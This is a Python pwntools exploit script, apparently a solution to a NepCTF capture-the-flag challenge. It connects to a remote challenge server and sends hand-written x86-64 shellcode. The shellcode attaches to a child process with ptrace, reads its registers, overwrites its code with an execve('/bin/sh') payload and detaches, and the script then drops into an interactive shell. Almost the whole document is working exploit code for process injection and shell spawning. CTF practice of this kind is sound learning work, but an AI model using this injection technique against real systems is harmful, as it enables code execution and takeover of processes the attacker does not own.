1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173
|
from pwn import *
context.terminal = ['tmux', 'splitw', '-h'] context.binary = './pwn' context.log_level = 'debug' context.timeout = 5
host = "nepctf30-er63-tftc-y0yh-jgmmsdz6j107.nepctf.com" port = 443
io = remote(host, port, ssl=True, sni=host)
elf = ELF('./pwn')
def debug(gdbscript="", stop=False): if isinstance(io, process): gdb.attach(io, gdbscript=gdbscript) if stop: pause()
stop = pause S = pause leak = lambda name, address: log.info("{} ===> {}".format(name, hex(address))) s = io.send sl = io.sendline sla = io.sendlineafter sa = io.sendafter slt = io.sendlinethen st = io.sendthen r = io.recv rn = io.recvn rr = io.recvregex ru = io.recvuntil ra = io.recvall rl = io.recvline rs = io.recvlines rls = io.recvline_startswith rle = io.recvline_endswith rlc = io.recvline_contains ia = io.interactive ic = io.close cr = io.can_recv sc = """
/* Get child PID from stack (RBP-0Ch) */ mov eax, DWORD PTR [rbp-0x0C] /* pid variable is at RBP-0xC */ mov r12, rax /* Save child PID in r12 */
/* ptrace(PTRACE_ATTACH, child_pid, 0, 0) */ mov rax, 101 /* ptrace */ mov rdi, 16 /* PTRACE_ATTACH */ mov rsi, r12 /* child PID */ xor rdx, rdx xor r10, r10 syscall
/* Short delay to ensure child stops */ mov rcx, 100000 delay_loop: nop loop delay_loop
/* Get child's registers */ mov rax, 101 /* ptrace */ mov rdi, 12 /* PTRACE_GETREGS */ mov rsi, r12 xor rdx, rdx lea r10, [rip + regs] syscall
/* Read RIP from regs */ mov r13, [rip + regs + 16*8] /* RIP is at offset 16*8 in user_regs_struct */ jmp STUN /* Prepare shellcode to inject */ /* execve("/bin/sh", 0, 0) */ /* Store shellcode in memory first */ xor rax, rax push rax mov rax, 0x68732f2f6e69622f /* "/bin//sh" */ push rax mov rdi, rsp xor rsi, rsi xor rdx, rdx mov rax, 59 syscall STUN: /* Now copy this shellcode to child_shellcode area */ mov r14, [rip - 0x28] mov [rip + child_shellcode], r14 mov r14, [rip - 0x2e] mov [rip + child_shellcode + 8], r14 mov r14, [rip - 0x34] mov [rip + child_shellcode + 16], r14 mov r14, [rip - 0x3a] mov [rip + child_shellcode + 24], r14 mov r14, [rip - 0x40] mov [rip + child_shellcode + 32], r14
/* Write shellcode to child's infinite loop (8 bytes at a time) */ /* First 8 bytes */ mov rax, 101 /* ptrace */ mov rdi, 4 /* PTRACE_POKETEXT */ mov rsi, r12 mov rdx, r13 /* Address of infinite loop */ mov r10, [rip + child_shellcode] syscall
/* Second 8 bytes */ mov rax, 101 mov rdi, 4 mov rsi, r12 add rdx, 8 mov r10, [rip + child_shellcode + 8] syscall
/* Third 8 bytes */ mov rax, 101 mov rdi, 4 mov rsi, r12 add rdx, 8 mov r10, [rip + child_shellcode + 16] syscall
/* 4th 8 bytes */ mov rax, 101 mov rdi, 4 mov rsi, r12 add rdx, 8 mov r10, [rip + child_shellcode + 24] syscall
/* 5th 8 bytes */ mov rax, 101 mov rdi, 4 mov rsi, r12 add rdx, 8 mov r10, [rip + child_shellcode + 32] syscall
/* Continue child execution */ mov rax, 101 /* ptrace */ mov rdi, 17 /* PTRACE_DETTACH */ mov rsi, r12 xor rdx, rdx xor r10, r10 syscall
/* Infinite loop in parent to keep it alive */ parent_loop: jmp parent_loop
regs: .fill 27, 8, 0 /* user_regs_struct is 27*8 bytes */
child_shellcode: /* This will be overwritten with actual shellcode */ .quad 0 .quad 0 .quad 0 .quad 0 .quad 0 """
ru(b'please input your shellcode: ') s(asm(sc)) ia()
|